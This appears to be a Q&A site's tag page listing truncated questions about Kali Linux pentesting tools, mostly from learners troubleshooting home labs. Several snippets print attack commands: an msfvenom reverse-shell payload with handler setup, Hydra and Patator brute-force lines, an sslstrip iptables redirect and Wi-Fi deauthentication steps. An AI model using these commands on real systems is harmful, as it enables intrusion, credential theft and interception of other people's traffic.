Questions tagged [kali-linux]
Offensive Security's penetration testing Linux distribution.
349
questions
0
votes
1answer
23 views
PostgreSQL exploit not loading in MSFConsole from ExploitDB
Just trying to get a postgreSQL exploit (32847.txt - Low Cost Function ) from exploitdb to run in msfconsole. After pulling my hair out trying to figure out why it isn't loading, here I am. I'm using ...
0
votes
0answers
23 views
SQLsus injections failed
I’m trying to inject a website using sqlsus tool on Kali, but i keep getting a failure message, I’ve changed the website I’m testing even though I’m sure it’s vulnerable, but still a failure message.
...
1
vote
0answers
47 views
Problem while using Reaver WPS
I was trying to crack my WiFi Router. I have two laptops an older one(Lenevo 3000 G430) and a newer one(HP Elitebook 840 G3) with their internal adapter. The old one has BCM4312 802.11b/g
chipset and ...
0
votes
3answers
89 views
How can Avast detect threats when I install Kali on VirtualBox?
I was installing Kali on VirtualBox on a W7 host, and during the upgrading/installation, Avast detected two threats in the Mimikatz package.
My question is, how can Avast "see" through the VM? Is he ...
0
votes
0answers
28 views
how to create a wordlist contains first 4 letters are alphabets and next 4 letters numbers [closed]
how to create a wordlist contains first 4 are letters alphabets and next 4 letters numbers.
Ex: AAAA0000 - ZZZZ9999
0
votes
0answers
16 views
Can I install Metasploitable 2 on a machine other than the one running Kali Linux? [migrated]
I use a kind of POTATO LAPTOP with highly limited resources so when I installed Kali Linux I simply ruled out the idea of using a Virtual Machine (running an OS on an OS is resource-heavy, isnt it?).
...
-1
votes
0answers
31 views
How to select the best tools of each Kali tools category? [closed]
There are dozens of kali tools list, every category have dozens specific tools.
so, it's hard to study all tools because many tools have the repetitive functions, and variable ability.
So, is ...
0
votes
0answers
34 views
Hashcat and naive-hashcat Kali Linux CPU/GPU driver issue [migrated]
I am trying to run hashcat and naive-hashcat in Kali linux, but I am having problems with cpu/gpu divers.
If I run hashcat i get this error:
Device #1: Not a native Intel OpenCL runtime. Expect ...
0
votes
1answer
42 views
Using Patator ssh_login module how can I get the output to show only on success
I have the following command:
patator ssh_login host=<ip> port=<port> user=<user> password=FILE0 0=<path to pwdlist>
I would like to output the success result only and not ...
1
vote
1answer
63 views
802.11 data frames missing from Wireless frames capturing
By working on the Wireless QoS (WMM/802.11e), I captured with airmon-ng and airodump-ng on Kali Linux, the 802.11 raw wireless frames, on my BSSID and channel.
I generate some traffic from my ...
0
votes
2answers
143 views
Nmap with snmp-brute script freezes at 33.33%
I'm currently undergoing a penetration testing course where I discover the basics and I have a task where I need to perform SNMP enumeration on a target.
My working environment is as follows :
Host : ...
0
votes
0answers
64 views
Generate every alphanumerical combination in crunch within 8-20 characters in length
I want to generate combinations in sequential range of the length 8-20 with the following characters:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()~`";.,/[]-=
How ...
1
vote
0answers
78 views
How should I install Kali Linux on my Windows 10?
I'm using Windows 10. I found several ways to install Kali Linux on Win10:
Install it on VMWare
Install it on Docker
Install it on Linux subsystem (WSL)
I might need to access some files in my ...
0
votes
0answers
59 views
Aireplay-ng works fine from command line but can't deauth from inside Fern Wifi Cracker
I have Kali Linux 2019.4 ARM-64 installed on a Raspberry Pi 3B.
I have installed the Fern Wifi Cracker software. When I launch the "Wifi Attack" from inside Fern, I can see Aireplay-ng sending Deauth ...
0
votes
1answer
55 views
Monitor mode not sniffing from other devices on the same network
i'm currently running a 802.11n adapter in monitor mode on a kali linux PC. Monitor mode was enabled using airmon-ng. On the same network as the kali linux PC are 2 raspberry pi devices.
Pinging from ...
0
votes
0answers
89 views
Kaspersky TS blocking apt-get upgrade and marking files as HEUR:Trojan.Script.Generic
I have just recently downloaded kali linux onto my VM software and i was doing apt-get upgrade in terminal and some files got blocked by my kts and i was wondering whether it was a false positive as ...
-1
votes
1answer
148 views
Kali Linux Firewalls and Endpoint security [closed]
I was asked to explain why Kali Linux does not have any firewalls or endpoint security. I would appreciate any help as I am a complete beginner to Kali Linux.
2
votes
1answer
158 views
why my Metasploit folder does not have wordlists folder (usr/share/)?
I am trying to use msf word-lists but I just noticed in usr/share/metasploit-framework there are only two folders lib and config.
I am not sure how that happened but my msf is updated.
Is there any ...
0
votes
0answers
38 views
Aireplay-ng doesnt get ACKs
I use the panda pau09 wireless adapter with a kali vm. I am attempting to deaauth my laptop off my home wifi. My last theory was that for some reason i wasn't able to deauth on 5Ghz band but after ...
0
votes
0answers
200 views
Aireplay-ng deauth has no effect
I am trying to deauth my laptop which is connected to my home wifi. aireplay-ng has no effect on my laptop.
The commands I used are in order airmon-ng start wlan0 then after getting the mac address ...
0
votes
1answer
87 views
Extract data from burp response and use in another request
I have a scenario where I need to call /api/login to get a token and then use said token in subsequent calls until it expires.
Is there a way to automate the call and token extraction and then to ...
0
votes
0answers
263 views
aireplay-ng --fakeauth issue with deauth packet
I am new to Kali Linux and I want to check if ethical hacking and pentesting is my cup of tea. I'm trying to associate my wireless adapter with an AP via aireplay-ng --fakeauth, but every time I use ...
0
votes
0answers
16 views
Is it possible to launch man in the middle attacks on ip addresses connected to a different network than the attacker's ip? [duplicate]
As the question stated, I am just wondering if there is a way to do this, perhaps using python or kali linux. I am trying to attack my raspberry pi that is on a different network than my pc (I have ...
0
votes
1answer
111 views
How Dirbuster find the files within a directory? (Differentiating between files and directories) [closed]
I am writing the python code of DIRBUSTER tool in kali linux but I got stuck at finding files that lies within directories. So my question is how can I differentiate between Files and Directories ...
1
vote
0answers
263 views
Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi
I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM.
...
1
vote
0answers
74 views
Hydra gives different password each time (DVWA)
I've looked up this issue and everyone's problem was they didn't have the failed login string. I do. Trying to get into DVWA.
Here's my command
hydra 10.0.250.143 -l admin -P P.txt http-get-form "/...
1
vote
1answer
136 views
SSH Timed out problem [closed]
I can't connect to my kali linux ssh server running in Virtualbox through puTTY. I didn't make any changes to /etc/ssh/sshd_config file, besides Port and PermitRootLogin
That's how i booted up my ssh ...
0
votes
0answers
362 views
arp spoofing - arpspoof vs ettercap
I would like to perform a MiTM attack on my LAN and redirect all the traffic transmitted to my gateway.
I've got the goal using arpspoof tool of Kali but I am not able to do the same thing using ...
2
votes
0answers
133 views
Deauthentication attack failure
Presently I am trying (and failing) to successfully execute a deauthentication attack using Kali Linux. The process I'm using is:
airodump-ng --bssid MAC address here --channel channel # here --write ...
0
votes
0answers
49 views
What's the proper way to identify string values in hydra http post form
I've seen plenty of posts regarding the syntax for setting http post form's when using hydra and all of them just show username and password as being the only two keys when making a login post request....
0
votes
0answers
504 views
Problems relaying NTLMv2 with Responder and MultiRelay
I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup:
Kali Box:
IP: 192.168.1.13
...
0
votes
0answers
194 views
Executable reverse shell payload won't execute on linux machine
Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf
Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;
So after ...
0
votes
1answer
295 views
Limiting the number of duplicate character types in crunch
I'm trying to generate a password list of 10 character passwords containing only a combination of 3 - 6 numbers and 3 - 6 uppercase letters.
I see option -d which allows a set limit of duplicates of ...
0
votes
0answers
168 views
Airodump-ng stops working after deauthentication attack
I'm using aircrack-ng on a pi to deauth a client that's connected to my wireless network. I run aireplay-ng and the attack succeeds but now airodump-ng wlan0mon stops returning any bssid, beacons...
...
0
votes
1answer
548 views
Wireshark - How to see the domain of HTTPS websites visited
How can I see the domain name of https websites that are visited on my network? I know I'm not able to see the full url, just the websites ip or domain. I think it my be possible with a reverse dns ...
0
votes
0answers
1k views
Meterpreter is failing to load any extension except the core commands
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
...
-4
votes
1answer
81 views
I just can't use social engeneering tool in kali [closed]
I'm doing an information security course, but one the main tools isn't working, I can't learn how to clone a site like this, look...
It keeps asking me to copy all the content inside www directory to ...
1
vote
0answers
590 views
aircrack-ng issue: No mon0 when run “airmon-ng start wlan0” and “No such BSSID available”
I have read many threads on StackExchange and some other blogs but none helped me. The issue is with aircrack-ng on Kali Linux. It gives me error No such BSSID available when I run aireply-ng. I think ...
0
votes
1answer
322 views
mitmf doesn't work when disabled ip forward
I have virtual machine windows connected to NAT network.
I also have kali linux virtual machine connected to same NAT network.
I have port forwarding disabled. cat /proc/sys/net/ipv4/ip_forward
gives ...
1
vote
2answers
1k views
Reverse shell refusing/difficulties to establish connection
I've been trying to reverse shell between different devices, however,
I'm never able to establish a connection or get a shell prompt
.
Let's say I have a Mac OSX as victim and use a raspberry Pi ...
-1
votes
1answer
292 views
wpscan is not show the real version
When I scan WordPress site with wpscan I see in the results that I have version 2.10.3 in WP Rocket
Title: WP Rocket <= 2.10.3 - Local File Inclusion (LFI)
| Fixed in: 2.10.4
But I when I ...
-1
votes
1answer
1k views
How to switch from Ubuntu 18.04 to kali linux? [closed]
I am using now ubuntu 18.04.1 and i wanna make dual boot with kali linux. How to do that?
1
vote
0answers
241 views
How can I get MITM attack using sslstrip to work?
I performed the following steps:
I modified iptables to forward to another port:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
I allowed port forwarding:
...
1
vote
1answer
374 views
DNS Hijack: Only spoofing sites listed in etter.dns
I'm trying to create a more practical DNS Hijack mitm attack. I do the traditional arp poison with dns_spoof method. I don't have any issues getting it to work. The intended domain redirects exactly ...
0
votes
2answers
4k views
MITM using ARP spoofing with Kali Linux running on VirtualBox with bridged wifi network adapter
At home I have two laptops (running on Windows). With one laptop (attacking laptop) I try to get in the middle of the connection of other laptop (victim laptop).
To do this is run Kali Linux in a ...
0
votes
1answer
1k views
SEToolkit Not Cloning Login Page
I am trying to clone a login page with SEToolkit in the latest version of Kali Linux. SEToolkit simply isn't working. I have tried running it with normal user privileges and sudo. I have placed in ...
0
votes
2answers
5k views
I couldn't deauth any devices using aireplay-ng command in kali linux
I am using Kali linux. I've updated all tools and services by apt-get update and apt-get upgrade.
I was using aircrack-ng for pentesting my wlan network.
I wanted to deauth any device connected to my ...
2
votes
1answer
352 views
Can't log in dvwa with a simple python program, even though login credentials are good
import requests
target_url = "http://127.0.0.1/dvwa/login.php"
data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"}
...
1
vote
0answers
462 views
Bettercap/ettercap unable to detect HTTP packets
Basically, I am trying to sniff the network traffic from my other computer. So here's the situation:
I am in a network, where:
192.168.1.1 - default gateway
192.168.1.24 - "victim" (my other ...
3
votes
1answer
16k views
Username and password files in Kali [duplicate]
I'm new to pen-testing world. I'm trying to learn how to gain access through telnet service opened on port 23.
I'm using Metasploit. The first approach I'm trying is using the telnet_login module to ...
